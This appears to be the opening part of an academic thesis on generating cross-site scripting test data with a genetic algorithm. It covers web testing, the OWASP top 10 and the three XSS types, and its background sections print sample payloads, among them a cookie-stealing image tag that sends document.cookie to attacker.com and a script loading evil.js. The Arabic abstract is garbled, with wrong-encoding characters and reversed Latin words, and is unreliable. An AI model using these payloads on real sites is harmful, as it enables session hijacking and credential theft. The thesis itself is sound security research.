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Web applications suffer from different security vulnerabilities that could be exploited by 
hackers to cause harm in a variety of ways. 
A number of approaches have been proposed to test for security vulnerabilities. In 
conducting a critical literature survey of the prominent approaches, we developed a 
framework composed of a set of criteria for classifying and comparing such approaches. 
Benefitting from applying the framework and the corresponding findings of the survey, 
we developed a new approach to fill in some identified gaps with regard to testing for 
security vulnerabilities. In particular, we addressed the problem of automatically 
generating an effective set of test data (i.e., possible attacks) to test for cross site scripting 
vulnerabilities (XSS).  The objective is to exercise candidate security vulnerable paths in 
a given script under test (SUT); such a set of test data must be effective in the sense that 
it uncovers whether any path can indeed be used to launch an attack.  Our approach is 
based on converting the testing problem into a search problem to find effective test data 
given all input parameters search space where each parameter can be of a string or 
numeric type.  We designed a genetic algorithm based test data generator that uses a 
database of XSS attack patterns to generate an input value which represents a possible 
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attack, and observe whether the attack is successful. We focused on these different types 
of XSS vulnerabilities: stored, reflected and DOM based which can lead to different 
problems like cookie thefts, Web page defacements, etc. 
We empirically validated our test data generator using case studies of Web 
applications developed using PHP and MySQL.  We present two different sets of 
experiments, the first set deals with a single vulnerable path at a time and the second set 
deals with multiple vulnerable paths at a time. Results showed that the proposed test data 
generator is effective in testing one path at a time as well as testing multiple paths at time. 
Due to the unviability of similar work that we can use to benchmark our approach 
against, we compared results of our approach with a random approach which selects 
random XSS patterns from the database and used them with the web application under 
test.  Our approach performs much better than the random approach. 
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يٍ انؼذٌذ يٍ انًٓذداث انًخؼهمت بانسشٌت, ٔخطٕسة ْزِ انًٓذداث اَّ ًٌكٍ اسخخذايٓا  الإَخشَجحؼاًَ حطبٍماث 
يخخهفت يٍ اجم  ٔآنٍاثو طشق ذٔانخً حم انًطشٔدتدانٍا ػذد يٍ انبذٕد  حٕجذ. بطشق ػذٌذة الأَظًتبخهك  نلإضشاس
إطاس نخصٍُف , فً ْزا انبذذ لًُا بخمذٌى الأيٍُتيٍ خهْٕا يٍ انًٓذداث  ٔانخأكذ الإَخشَجحطبٍماث  اخخباس سشٌت
  .الإَخشَجنخطبٍماث  بانُسبت انسشٌتفً اخخباساث  ٔانًسخخذيت انًٕجٕدةانطشق ٔيماسَّ 
, حذذٌذا الأيٍُتٔانخأكذ يٍ خهْٕا يٍ انًٓذداث  الإَخشَجحى فً ْزا انبذذ حمذٌى طشٌمت جذٌذِ لاخخباس حطبٍماث 
 فً انخطبٍك يٕضٕع الاخخباس, انًٓذدةٔرنك ػبش اخخباس انًساساث  )SSX( gnitpircS etiS ssorC داث اليٓذ
انً يشكهت بذذ ػٍ  انسشٌتفً ْزا انبذذ حؼًذ ػهً حذٌٕم يشكهت اخخباس انبشيجٍاث يٍ دٍذ  انًمذيتانطشٌمت 
 دشفٍت. أٔافضم بٍاَاث الاخخباس انًًكُت, سٕاء كاَج سلًٍت 
يؼخًذا ػهً يبذأ انبذذ ػٍ افضم بٍاَاث الاخخباس انخً  انجٍٍُت انخٕاسصيٍتًمذو فً ْزا انبذذ ٌؼخًذ ػهً انذم ان 
يارا كاٌ انخطبٍك يٕضٕع الاخخباس ٌذخٕي ػهً رغشاث حسًخ بذذٔد انًٓذد كشف  إنى حى اسخخذايٓا يا حٕدي ارا 
 .انًزكٕس
ٔلذ حى حجًٍغ ْزِ  انذمٍمٍت SSX ال أًَاطيغ لاػذة بٍاَاث حذخٕي ػهً ػذد يٍ  انجٍٍُت انخٕاسصيٍتحى اسخخذاو 
يٍ اجم حٕنٍذ يذخلاث  انًزكٕسةبماػذة انبٍاَاث  بالاسخؼاَت انخٕاسصيٍتدٍذ حمٕو , يخخهفتيٍ يصادس  الأًَاط
نًساساث انًؼشضت ٍت اطيٍ اجم حغ دمٍمٍّ كبٍاَاث اخخباس SSX أًَاطًْ ػباسِ ػٍ  يٕضٕع الاخخباس نهخطبٍك 
 .نٓزِ انًٓذداث فً انخطبٍك
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دٍذ ٌخى  LQSYMٔلٕاػذ بٍاَاث ال   PHPبٍُج باسخخذاو نغت ال  إَخشَجانذم انًمذو باخخباس حطبٍماث ٌمٕو 
 desab MOD dna detcelfeR ,derotSانًخخهفت : بإَٔاػٓا SSXيٍ خهْٕا يٍ يٓذداث ال  نهخأكذاخخباسْا 
 يٍ انًشاكم انًخؼهمت بانسشٌت. ذٔانخً لذ حؤدي نهؼذٌ
يٍ يذي كفاءِ انذم انًمخشح ٔجٕدحّ, ٔلذ صُفج  أجم انخأكذحى ػًم انؼذٌذ يٍ انخجاسب ػهً حطبٍماث يخخهفت يٍ 
كم يساس  فً انخطبٍك يٕضٕع الاخخباس  انًٓذدةًساساث انيًُٓا ٌؼًُ باخخباس  الأٔللسًٍٍ سئٍسٍٍ إنى انخجاسب 
انُخائج انخً إنى , بانُظش ِدفؼت ٔادذ انًٓذدةكم انًساساث  فً الاػخباس ٌأخزٌؼًُ  انخجاسبٍ انمسى انزاًَ ي, ػهً دذة
  ٔجٕدحٓا. انًمخشدت انطشٌمتيذي كفاءِ ٌخبٍٍ انخجاسب  لسًًػهٍٓا فً كم يٍ انذصٕل حى 
فً اخخٍاس  انؼشٕائٍت اَنٍتحًج يماسَت َخائج انخجاسب يغ  انًمخشدت, انطشٌمتَسبت نؼذو حٕفش ػًم بذزً ٌخبغ َفس 
 انًمخشدتٔاسخخذايٓا كًذخلاث نهخطبٍك حذج الاخخباس فكاَج طشٌمخُا SSXبٍاَاث ال  لاػذةػشٕائٍا يٍ  أًَاط
 دذ بؼٍذ.إنى  تافضم بكزٍش جذا ٔيشضٍ
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3 CHAPTER 
INTRODUCTION 
1.1 Web Applications 
As more and more information and services are made available on line, businesses and 
organizations have been relying heavily on Web applications in their day to day 
activities. As Web applications became important to success of businesses and 
organizations, their securities have become extraordinarily complex. Although software 
testing is complex, time-consuming, hard and high cost process, Web application security 
testing presents even greater challenges.  
Web applications can be considered as a distributed system, with a client-server or 
multi-tier architecture.  They are also heterogeneous in the sense that they are used across 
multiple computers and organizations, and they are often created and integrated 
dynamically, also they are written in different languages and run on different hardware 
platforms‎[13]. 
Web applications also commonly use a combination of server-side script (ASP, PHP, 
etc.) and client-side script (HTML, JavaScript, etc.) in the development of them ‎[40]. The 
client-side script typically runs within a Web browser.  It handles the presentation of the 
information and the interaction with the user, while the server-side script handles back-
end activities such as storing and retrieving information.  
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The aforementioned characteristics of Web applications offer new abilities; however, 
analyzing, evaluating, maintaining and testing Web applications present many new 
challenges for Web software developers and researchers.  Typically, Web applications 
must satisfy very high requirements for reliability, availability and usability. 
The most reliable method to ensure a piece of software meets certain requirements 
done through formal verification, e.g., proof of correctness‎[36].  Unfortunately, this 
approach is time consuming and impractically sophisticated for a whole system. Only 
crucial parts of a system need to be verified this way. In practice, test cases are typically 
used to show whether a program does what it is supposed to do ‎[36]. 
1.2 General Research Problem 
Web applications security testing becomes a crucial issue to the software industry as well 
as to organizations to include business and government, and private and public. Study of 
the major security threats has shown that cross site scripting (XSS) vulnerabilities are 
among the top threats to Web applications as per the Open Web Application Security 
Project (OWASP) report ‎[60].   
Reviewing previous researches in this area revealed that the problem of uncovering 
Web applications XSS vulnerabilities has not caught enough researchers‟ attention.  In 
particular, there is not enough research in using heuristics search algorithms like genetic 
algorithms, hill climbing and simulated annealing, to generate (search for) test data to 
adequately test for XSS vulnerabilities.  These heuristic techniques are known to achieve 
good results in software testing domain [2]‎[18]‎[6]. 
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In this research we aim to formulate the XSS vulnerability testing problem as an 
optimization search problem, and accordingly use genetic algorithms to generate test data 
to be utilized for XSS vulnerabilities testing of Web applications that are built using PHP 
and MYSQL.  
1.3 Main Contributions  
The main contributions of the thesis are:    
1. An attribute-based framework to allow classifying and comparing approaches for 
Web application security testing, published in ‎[4]; 
2. A critical comparison various prominent Web applications security testing 
approaches according to the framework published in [4]; 
3. A formulation of the security testing problem as an optimization search problem and 
the design of the objective function; 
4. A genetic algorithm based framework to test for cross site scripting in Web 
applications; 
5. A database of XSS patterns collected from different sources, available in usable XML 
format; and 
6. Experiments for empirical validation of the proposed approach. 
1.4 Organization of the Thesis 
The rest of this thesis is organized as follows.   2  2CHAPTER 2 gives a background on 
Web security testing.  CHAPTER  3 surveys the literature for Web security testing 
approaches. CHAPTER  4 presents the research questions we tried to answer along with 
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our corresponding approach.  CHAPTER  5 discusses the validation experiments and 
results.  CHAPTER  6 discusses the concluding points and future work. 
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2 CHAPTER  
BACKGROUND  
2.1 Introduction 
This chapter discusses Web testing, Web vulnerabilities, and different types of XSS 
vulnerabilities with some illustrative examples. The chapter also gives some background 
on how genetic algorithms (GA) work; this background is necessary for the reader to 
follow our approach for test data generation. 
2.2 Web Testing  
Software testing can generally be viewed to aim at uncovering code bugs. Software 
Testing is defined as “the process of executing a program with the intent of finding 
errors”‎[67].  Hence, a pair of input and its expected output, which is known as test case, 
is the basic block in this process. A test case is considered to be successful if it succeeds 
to uncover errors, and not vice versa.  In other words, a good test case is one that has a 
high probability of detecting an as-yet undiscovered error‎[67].  The same definition can 
be used for Web testing taken into considerations the application under test is Web 
application. 
The optimal scenario for testing is to test all possible input values and all their 
combinations.  The outcome is compared to the expected output.  This way, it is 
guaranteed to identify all errors.  Unfortunately, this approach is not realistic and also not 
practical due to the high number of test-cases and the very limited time and test budget.  
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So, the challenge is to minimize the number of test cases while maximizing testing 
coverage, and accordingly confidence in the given program‎[2] ‎[43].  
Software-testing methods are classified into two categories: static analysis methods and 
dynamic testing methods‎[43].  In a typical static analysis, a code reviewer walks through 
the source code of the software under test, line by line, and visually follows the program 
logic flow by feeding an input.  This type of testing is highly dependent on the reviewer‟s 
experience. Typical examples for static analysis methods are code inspections, code 
walkthroughs, and code reviews‎[43]. 
Mainly static analysis uses the software requirements document and design documents 
as the main references for visual review. On the other hand dynamic testing techniques 
execute the software under test on test input data and observe its output.  In the literature 
and industry, the term testing usually refers to just dynamic testing not the static 
analysis‎[2]. 
Dynamic testing can be further classified into two sub categories: black-box testing and 
white-box testing.  Black-box testing, also known as functional or specification–based 
testing, tests the functionalities of software irrespective of its structure.  Functional 
testing focuses only on verifying the output in response to given input data‎[2].  White-
box testing is concerned with the degree to which test cases exercise or cover the logic 
flow of the program. Therefore, this type of testing is also known as logic-coverage 
testing or structural testing, because it considers the structure of the software.  The same 
categorization is also followed in Web testing. 
As business and organizations require Web applications with more and stricter quality 
requirements, many new challenges have emerged by Web applications with regard to 
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development and testing‎[13]. This is due to the variety of factors and the number of 
interdependent components that impact quality.  
Web testing is the name given to software testing that focuses on Web applications. 
Complete testing of a Web based system before going live can help address issues before 
the system is revealed to the public. Following the same methodology proposed by 
Myers‎[43], we can categorize Web testing into two main categories: functional testing 
and non-functional testing.  The former considers types of testing based on the 
specifications of the software under test. The latter considers types of testing such as 
performance testing, load testing, stress testing, compatibility testing, usability testing, 
accessibility testing and security testing.  Web applications testing use combinations of 
input and state to reveal failures.  A failure is the inability of a system or component to 
perform a required function within specified non-functional requirements‎[70].  
A failure is typically attributed to a fault in the application implementation or its 
running environment. Since a Web application is strictly interwoven to its running 
environment, it is not possible to test it separately of its environment and still be able to 
establish exactly the cause for failure‎[40].  Therefore, different types of testing will have 
to be executed to uncover these diverse types of failures‎[44]. The following table, 
adopted from [40], illustrates the non-functional testing categories for Web applications: 
Type Definition 
Performance 
Testing 
Performance testing objective is to verify specified system performances (e.g. 
response time, service availability). It is executed by simulating hundreds or 
more, simultaneous users‟ accesses over a defined time interval. Information 
about accesses is recorded and then analyzed to estimate the load levels 
exhausting system resources. 
For Web applications, system performance is a critical issue because Web users 
don‟t like to wait too long for a response to their requests. They also expect that 
services are always available. 
Performance testing of Web applications should be considered as an everlasting 
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activity to be carried out by analyzing data from access log files, in order to tune 
the system adequately. 
Failures uncovered by performance testing are mainly due to running 
environment faults (such as scarce resources, or not well deployed resources, 
etc.), even if any software component of the application level may contribute to 
inefficiency. 
Load Testing 
Load testing requires that system performance is evaluated with a predefined 
load level. It aims to measure the time needed to perform several tasks and 
functions under predefined conditions. The predefined conditions include the 
minimum configuration and the maximum activity levels of the running 
application. Also in this case a lot of simultaneous user accesses are simulated. 
Information is recorded and, when the tasks are not executed within predefined 
time limits, failure reports will be generated. Considerations similar to the ones 
made for performance testing can be done. Failures found by load testing are 
mainly due to faults in the running environment. 
Stress Testing 
It is executed to evaluate a system, or component at or beyond the limits of its 
specified requirements. It is used to evaluate system responses at activity peaks 
that can exceed systems limitations, and to verify if the system crashes or it is 
able to recover from such conditions. Stress testing differs from performance 
and load testing because the system is executed on or beyond its breaking 
points, while performance and load testing simulate regular user activity. 
Failures found by stress testing are mainly due to faults in the running 
environment. 
Compatibility 
Testing 
Compatibility testing will have to uncover failures due to the usage of different 
Web server platforms or client browsers, or different releases or configurations 
of them. The large variety of possible combinations of all the components 
involved in the execution of a Web application does not make it feasible to test 
all of them, so that usually only most common combinations are considered. As 
a consequence, just a subset of possible compatibility failures might be 
uncovered. Both the application and the running environment are responsible 
for compatibility failures.  
Usability 
Testing 
Usability testing aims at verifying to what extend an application is easy to use. 
Usability testing is mainly centered on testing the user interface: issues 
concerning the correct rendering of the contents (e.g. graphics, text editing 
format, etc.) as well as the clearness of messages, prompts and commands are to 
be considered and verified. 
Usability is a critical issue for a Web application: indeed, it may determine the 
success of the application. As a consequence, the front end of the application 
and the way users interact with it often are the aspects that are devoted greater 
care and attention along the application development process. 
When Web applications usability testing is carried on, issues about the 
completeness, correctness and conciseness of the navigation along application 
are to be considered and verified too. This type of testing should be a continuing 
activity carried out to improve the usability of a Web application; techniques of 
user profiling are usually used to reach this aim. The application is mainly 
responsible for usability failures. 
Accessibility 
Testing 
It can be considered as a particular type of usability testing whose aim is to 
verify that access to the content of the application is allowed even in presence of 
reduced hardware/ software configurations on the client side of the application 
(such as browser configurations disabling graphical visualization, or scripting 
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execution), or of users with physical disabilities (such as blind people). 
In the case of Web applications, accessibility rules such as the one provided by 
the Web Content Accessibility Guidelines ‎[50]have been established, so that 
accessibility testing will have to verify the compliance to such rules. 
The application is the main responsible for accessibility, even if some 
accessibility failures may be due to the configuration of the running 
environment (e.g., browsers where the execution of scripts is disabled). 
Security 
Testing 
The objective of security testing is to verify the effectiveness of the overall Web 
system defenses against undesired access of unauthorized users, as well as their 
capability to preserve system resources from improper uses, and to grant the 
access to authorized users to authorized services and resources. System 
vulnerabilities affecting the security may be contained in the application code, 
or in any of the different hardware, software, middle-ware components of the 
systems. Both the running environment and the application can be responsible 
for security failures. 
In the case of Web applications, heterogeneous implementation and execution 
technologies, together with the very large number of possible users, and the 
possibility of accessing them from anywhere may make Web applications more 
vulnerable than traditional ones and security testing more difficult to be 
accomplished. 
 
Table 1: Web Testing Categories, adopted from Di Lucca and Fasolino‎[40]. 
Many techniques and methodologies have been proposed for Web testing ‎[50]. It is 
possible to categorize such techniques into three groups: functional testing techniques 
supporting black-box specification-based testing, structural techniques supporting some 
form of white-box testing based on the analysis and instrumentation of the source code, 
and the third category is model-based techniques‎[50]. 
2.3 Web Security Vulnerabilities 
Security vulnerabilities are “flaws in Web applications that allow attackers to do 
something malicious (i.e., unauthorized access, modification, or destruction of 
information) attacks are successful exploitation of vulnerabilities”‎[12]. The primary 
reason of these vulnerabilities is the lack of input validation mechanism employed in 
applications‎[12]. For example, SQL Injection vulnerabilities are manifested in Web 
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applications when SQL queries are generated using an implementation language (e.g., 
PHP, Java Server Pages or JSP) and user supplied inputs become part of the query 
generation process without proper validation.  As a result, the execution of these queries 
might cause unexpected results such as authentication bypassing and leaking of private 
information.  Web sense security report has shown that in the first half of year 2008 
above 75% of the most popular Web sites have been compromised by hackers to run 
malicious code‎[65].  By detecting and solving vulnerability and risks we can effectively 
enhance Web application security. 
Because Web applications are open to the world, they are more vulnerable to attacks 
compared to other types of application.  The open environment and availability of Web 
applications risk their security. 
The Open Web Application Security Project (OWASP)‎[60] listed the top 10 Web 
application security risks for 2010 as:  
1. Injection: Injection flaws, such as SQL, OS, and LDAP injection, occur when 
untrusted data is sent to an interpreter as part of a command or query. The 
attacker‟s hostile data can trick the interpreter into executing unintended 
commands or accessing unauthorized data.  
2. Cross-Site Scripting (XSS): XSS flaws occur whenever an application takes 
untrusted data and sends it to a Web browser without proper validation and 
escaping. XSS allows attackers to execute scripts in the victim‟s browser which 
can hijack user sessions, deface Web sites, or redirect the user to malicious sites.  
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3. Broken Authentication and Session Management: Application functions related to 
authentication and session management are often not implemented correctly, 
allowing attackers to compromise passwords, keys, session tokens, or exploit 
other implementation flaws to assume other users‟ identities.  
4. Insecure Direct Object References: A direct object reference occurs when a 
developer exposes a reference to an internal implementation object, such as a file, 
directory, or database key. Without an access control check or other protection, 
attackers can manipulate these references to access unauthorized data.  
5. Cross-Site Request Forgery (CSRF): A CSRF attack forces a logged-on victim‟s 
browser to send a forged HTTP request, including the victim‟s session cookie and 
any other automatically included authentication information, to a vulnerable Web 
application. This allows the attacker to force the victim‟s browser to generate 
requests the vulnerable application thinks are legitimate requests from the victim.  
6. Security Misconfiguration: Good security requires having a secure configuration 
defined and deployed for the application, frameworks, application server, Web 
server, database server, and platform. All these settings should be defined, 
implemented, and maintained as many are not shipped with secure defaults. This 
includes keeping all software up to date, including all code libraries used by the 
application.  
7. Insecure Cryptographic Storage: Many Web applications do not properly protect 
sensitive data, such as credit cards, SSNs, and authentication credentials, with 
appropriate encryption or hashing. Attackers may steal or modify such weakly 
protected data to conduct identity theft, credit card fraud, or other crimes.  
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8. Failure to Restrict URL Access: Many Web applications check URL access rights 
before rendering protected links and buttons. However, applications need to 
perform similar access control checks each time these pages are accessed, or 
attackers will be able to forge URLs to access these hidden pages anyway.  
9. Insufficient Transport Layer Protection: Applications frequently fail to 
authenticate, encrypt, and protect the confidentiality and integrity of sensitive 
network traffic. When they do, they sometimes support weak algorithms, use 
expired or invalid certificates, or do not use them correctly.  
10. Invalidated Redirects and Forwards: Web applications frequently redirect and 
forward users to other pages and Websites, and use un-trusted data to determine 
the destination pages. Without proper validation, attackers can redirect victims to 
phishing or malware sites, or use forwards to access unauthorized pages.  
2.4 Web Application Security Testing 
Generally, security testing is a process to determine whether an information system 
protects data and maintains functionality as intended ‎[40]. The main basic security 
concepts that need to be covered by security testing are: Confidentiality, Integrity, 
Authentication, Authorization, Availability and Non-repudiation.  As mentioned before in 
Table 1 the objective of security testing is to verify the effectiveness of the overall Web 
system defenses against undesired access of unauthorized users, as well as their 
capability to preserve system resources from improper uses, and to grant the access to 
authorized users to authorized services and resources. Taken into consideration this 
objective we can highlight two different types of security tests of Web applications: 
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Static Security Analysis: This type of test is a kind of white box testing because the 
source code of the application is analyzed and inspected to find any possible security 
defects.  Generally it helps to catch implementation structural bugs early and it‟s 
important to know that static analysis can‟t solve all security problems‎[10]. There are 
different tools available now for this kind of test but it‟s not easy to find mature tool yet 
that magically discover all the security defects in the application. 
Dynamic Security Test: This category of test aims to find vulnerabilities by sending 
malicious requests, and investigating replies. It is mainly used to evaluate software by 
executing in real-time with the goal of finding security vulnerabilities in SUT while it is 
running, providing the most accurate and actionable vulnerability detection.  In this case, 
testers are looking to the application from the attacker‟s point of view‎[58]. 
To get the best results from the security testing and gain more confidence about the 
Web application security, combination of both static and dynamic testing is 
recommended because of different reasons like‎[40]: 
Some vulnerability can be found only with Static Security Analysis, others with 
Dynamic Security Test. Testing in both ways yields the most comprehensive testing. 
Many Web applications that would be traditionally scanned with Dynamic Security 
Testing tools also use a significant amount of client-side code in the form of JavaScript, 
Flash, Flex and Silverlight. This code must also be analyzed for security vulnerabilities, 
typically using static analysis. 
Security vulnerabilities affecting the Web applications may be contained in the 
application code, or in any of the different hardware, software, middle-ware components 
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of the systems. Both the running environment and the application can be responsible for 
security failures. 
2.5 Cross Site Scripting Vulnerabilities  
Cross Site Scripting, in short XSS, is one of the most common application-layer Web 
attacks.  XSS commonly uses scripts embedded in the HTML page which are executed 
on the user‟s Web browser, rather than scripts execute on the server-side part of the Web 
application. 
XSS is a threat which is brought by the internet security weaknesses of client-site 
scripting languages such as HTML and JavaScript, or other scripting language like 
VBScript, ActiveX, or Flash.  The idea behind XSS is to manipulate client side scripts of 
a Web application to execute in the manner desired by the malicious user. Such script 
may be embedded in a Web page which can be executed every time the page is loaded, or 
whenever the related event is performed‎[6]. 
In a typical XSS scenario, the attacker infects the Web page with a malicious client 
side script.  When the Web application user visits the Web page, the script is downloaded 
to the user‟s browser and executed. There are many slight variations to this pattern; 
however all XSS vulnerabilities generally follow this pattern, which is explained below 
in Figure 1. 
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Figure 1: A High Level View of Typical Cross Site Scripting Vulnerabilities‎[22]. 
This pattern allows attackers to execute scripts in the victim‟s browser to, for example, 
hijack user sessions, deface Web sites, or redirect the user to malicious sites.  
Wassermann and Zhendong highlighted several reasons that contribute to the prevalence 
of XSS vulnerabilities‎[62].  First, XSS afflicts Web applications that display untrusted 
input; it is worth noting that most Web applications display inputs from users without 
filtering out untrusted ones. Second, most Web application programming languages 
provide an unsafe default for passing untrusted input to the client.  Typically, printing the 
untrusted input directly to the output page is the most straightforward way of displaying 
such data.  
Also improper validation of the users input data can lead to XSS vulnerabilities; data 
may contain HTML fragments that could flush to the Web page, altering the resulting 
content such that malicious code is injected.  When such code executed by the user 
browser, it may disclose sensitive data to third parties. There are three types of XSS 
16 
 
   
 
vulnerabilities: stored, reflected, and Document Object Model based (or DOM 
based) ‎[55]‎[33]‎[6].  Table 2 shows example codes of the three types. 
Type 
 
Code Example attack 
Reflected 
 
<? echo $_GET(„fname‟); ?>  
www.guestbook.com? 
fname=<script>alert(„xss‟);</script> 
Stored 
 
Comment :<? echo $msg; ?> <script>alert(„xss‟);</script> 
DOM based 
 
var name 
=document.URL.indexOf 
(“name=”) + 5; 
document.write (“Hello” +name); 
www.guestbook.com? 
name=<script>alert(„xss‟);</script> 
 
Table 2: Cross Site Scripting Vulnerability Types. 
2.6 Exploiting XSS Vulnerabilities 
The main strategy for XSS exploits is to load more JavaScript code from the attacker's 
Website into the victim's browser, for example via the attack vector <script 
src="http://example.com/evil.js"></script>. This way, the directly injected code is quite short 
but the executed code can be very complex. XSS exploits focus on several main areas as 
stated in [34]:  
 Accessing confidential data.  In July 2010, the team of Acunetix found a XSS 
vulnerability on facebook.com‎[21]. As a proof of concept, private messages 
were read from the victim's inbox and sent to the attacker. Reading out cookies 
was not necessary in this exploit and therefore, even the HttpOnly tag of 
Facebook's cookie was useless. 
 Stealing session information.  Session identifiers are usually stored in cookies 
or as parameter in the URL. A script can read the cookie with document.cookie 
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and the URL with window.location. The session identifier is then placed in a 
HTTP request to the attacker's server. The exploit looks as follows: 
var s = '<img src= http :// attacker .com /? ' 2 + document . cookie +' />'; 
document . write (s); 
The attacker looks up recent HTTP requests in his Web server's log file and 
finds the session identifier of the victim, because the victim tried to request an 
invalid picture: 
GET /?JSESSIONID=5B3F025D99B9E7175CF269642922E783 HTTP/1.1"200 421. 
The victim's session can then be hijacked by setting up a cookie containing the 
stolen session identifier. 
 Stealing login credentials.  In some cases, cookie does not only contain the 
session identifier, but also the username and the password of the victim. In case 
of the password being hashed with a cryptographic hash function such as MD5 
or SHA1, the attacker can try to obtain the plaintext password by using brute 
force attacks, dictionary attacks. While session hijacking can be a hard task 
because of time constraints or security mechanisms, obtaining the login 
credentials of a victim enables the attacker to log in with the victim's account 
whenever wanted.  In 2002, Microsoft introduced the HttpOnly tag for cookies. 
If this tag is set, cookies cannot be retrieved with JavaScript code. While this 
tag improves the security of a Web application a little bit, it still can't be seen as 
a good countermeasure, because login credentials can also be stolen avoiding 
reading out cookies altogether. If the entire content of the Web site is replaced 
with a fake error message and a fake login screen that asks the user to re-login, 
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the login credentials can be stolen in plaintext by submitting them to the 
attacker's Website. 
2.7 Types of Cross Site Scripting 
2.7.1 Reflected Cross Site Scripting 
Reflected XSS vulnerabilities are also known as type one or non-persistent XSS 
vulnerabilities, this type of XSS attack does not load with the vulnerable Web application 
directly but is originated by the victim loading the offending URL.  It is the most frequent 
type of XSS vulnerabilities found nowadays‎[55].  
When a Web application is vulnerable to this type of attack, it passes invalidated input 
sent through requests to the client.  The common scenario of the attack includes a design 
stage, in which the attacker creates and tests an offending URL; a social engineering step, 
in which attacker convinces the victims to load this URI on their browsers; followed by 
the execution of the offending code using the victim's credentials data‎[22].  
Normally the attacking code is written in Java script language, but also other scripting 
languages are also used, e.g., VBScript and Action Script.  Attackers typically use these 
vulnerabilities to steal victim cookies, install key loggers, perform clipboard theft, and 
change the content of the HTML page.  One of the important tricks about exploiting XSS 
vulnerabilities is using character encoding.  In some cases, the Web server or the Web 
application cannot filter some encodings of characters.  For example, the Web application 
might filter out "<script>", but might not filter %3cscript%3e which simply includes 
another encoding of HTML tags. 
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Let us take simple example for this type of XSS vulnerabilities. Figure 2 illustrates 
simple HTML form for filling user name, and printing the user name after submitting, 
here we can see if we enter the pattern <body 
onload="javascript:alert(([code])"></body>, and this pattern passes the validation step, 
the alert will show up to the user which will click Ok and this lead to execute the code 
part in the pattern.  The code could be anything that steal user‟s cookies, install key 
loggers, perform clipboard theft, or change the content of the HTML page. 
 
 
 
Figure 2: Simple Reflected Cross Site Scripting Vulnerability. 
 
2.7.2 Stored Cross Site Scripting 
The stored XSS is one of the most serious Web security vulnerabilities‎[34]. Normally, 
Web applications allow users to store data and retrieve it back; these kinds of applications 
are potentially exposed to this type of attack.  This vulnerability happens when a Web 
application collect input from a user which might be malicious, and then stores that input 
in a data store or database for later use.  
The input that is stored is not correctly filtered.  As a consequence, the malicious data 
will appear to be part of the Web site and run within the user‟s browser under the 
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privileges of the Web application. The stored XSS vulnerability can be used to initiate a 
number of client based attacks including‎[22]:  
 Capturing sensitive information viewed by application users. 
 Hijacking another user's session. 
 Directed delivery of browser-based exploits. 
 Pseudo defacement of the application.  
 Port scanning of internal hosts or the user computer. 
Stored XSS does not need a malicious link to be exploited. A successful exploitation 
occurs when a user visits a page with a stored XSS.  The following actions can lead to a 
typical stored XSS attack scenario:  
 User visits vulnerable page.  
 Attacker stores malicious code into the vulnerable page.  
 Malicious code is executed by the user's browser. 
 User authenticates in the application. 
An example of stored XSS is entering the following java script code into an input field 
that has access to cookie data for the current logged in user as in Figure 3 
<script language="javascript" type="text/javascript"> 
alert(document.cookie); 
</script> 
 
Figure 3: Simple Stored Cross Site Scripting Vulnerability. 
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This data is then saved to the application database; each request to view the data will 
execute the java script code over the client browser. Encapsulating this data with an 
AJAX request to send the cookie data to an attacker‟s server move this attack to the next 
level where the attacker could use the cookie data to gain access to the user sensitive 
data. 
2.7.3 Document Object Model based Cross site scripting 
The Document object model is the structural format that may be used to represent HTML 
documents in the browser. It enables dynamic scripts such as java script to reference 
components of the document such as a form field or a session cookie. DOM is also used 
by the browser for security for example to limit scripts on different domains obtaining 
session cookies for other domains.  
Document object model based cross site scripting or DOM based XSS is a name for 
vulnerabilities which are the result of active content on a page, typically JavaScript, 
obtaining user input and then doing something unauthorized with it and that lead to 
execution of injected code. DOM based XSS vulnerability may occur when active 
content, such as a java script method, is modified by a request such that a HTML form 
element that can be controlled by an attacker.  
There have been very few papers and researches published on DOM based XSS; so we 
can find very little standardization of its meaning and testing‎[60].  It is worth noting here 
that not all XSS vulnerabilities require the attacker to control the content returned from 
the server, but instead, an attacker can abuse poor JavaScript coding practices to achieve 
the same results. 
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The consequences of this type are the same as a typical XSS vulnerabilities but 
different delivery styles are been used.  In contrast to other XSS vulnerabilities, reflected 
and stored, where an un sanitized parameter is passed by the server, returned to the user 
and executed in the context of the user's browser, the DOM based XSS vulnerability 
controls the flow of the code by using elements of the DOM along with code supplied by 
the attacker to change the flow.  
DOM based XSS vulnerabilities can be executed in many instances without the server 
being able to determine what is actually being executed. This made many of the XSS 
filtering tools not useful against such attacks.  
Figure 4 shows an example of this type; the following HTML code is for the page 
index.html in the Web site http://www.test.com. 
 
 
<HTML> 
<TITLE>Welcome!</TITLE> 
Hi 
<SCRIPT> 
varpos=document.URL.indexOf("name=")+5; 
document.write(document.URL.substring(pos,document.URL.length)); 
</SCRIPT> 
<BR> 
Welcome to our system 
</HTML> 
 
Figure 4: Simple Document Object Model based Cross Site Scripting Vulnerability. 
 
The index.html page used for welcoming the user, e.g. 
http://www.test.com/index.html?name=ali 
However, a request such as: 
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 http://www.test.com/index.html?name= <script>alert (document.cookie)</script> will be 
treated as follow: The user‟s browser receives this URL, sends an HTTP request to 
www.test.com, and receives the above static HTML page.  The user‟s browser then starts 
parsing this HTML into DOM.  The DOM contains an object called document, which 
contains a property called URL, and this property is populated with the URL of the 
current page, as part of DOM creation.  When the parser arrives to the java script code 
above, it executes it and it modifies the HTML code of the page.  In this case, the code 
references document.URL, and so, a part of this string is embedded at parsing time in the 
HTML, which is then immediately parsed and the java script code found alert( ) function 
is executed in the context of the same page, hence the XSS attack takes place.  
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1 CHAPTER  
LITERATURE SURVEY  
3.1 Introduction  
In this chapter, we discuss and analyze prominent Web testing approaches. We give more 
attention to most recent studies with regard to the area of web security testing. 
Based on our analysis of those approaches, we developed a comparison framework to 
allow benchmarking different approaches to be able to identify strengths and 
weakness‎[4]. We present the framework in this chapter. We also discuss prominent 
security testing approaches in light of the framework here. 
3.2 Existing Web security Testing Approaches  
In this section different approaches are discussed in a descending order by the publication 
year from recent to oldest. 
Li et al.‎[38]presented a perturbation-based methodology to validate user input which 
contributes to different kinds of attacks and security threads in Web environment.  Their 
focus was to detect the semantics-related vulnerabilities in the input which are not 
detected using available scanner tools.  A scanner is a software program that searches for 
known security vulnerabilities in the Web applications, by testing HTTP requests against 
known CGI (common gateway interface) strings‎[40].  In particular, Li et al. used input-
field information to generate valid inputs, and then perturb valid inputs to generate 
invalid test inputs. Using empirical study, they showed that their approach was more 
25 
 
   
 
effective than the existing scanners in finding semantics-related vulnerabilities of user 
input for Web applications.  Avancini et al. ‎[6] combined taint analysis with GA to define 
the vulnerable control-flow paths in the Web application and generate input values that 
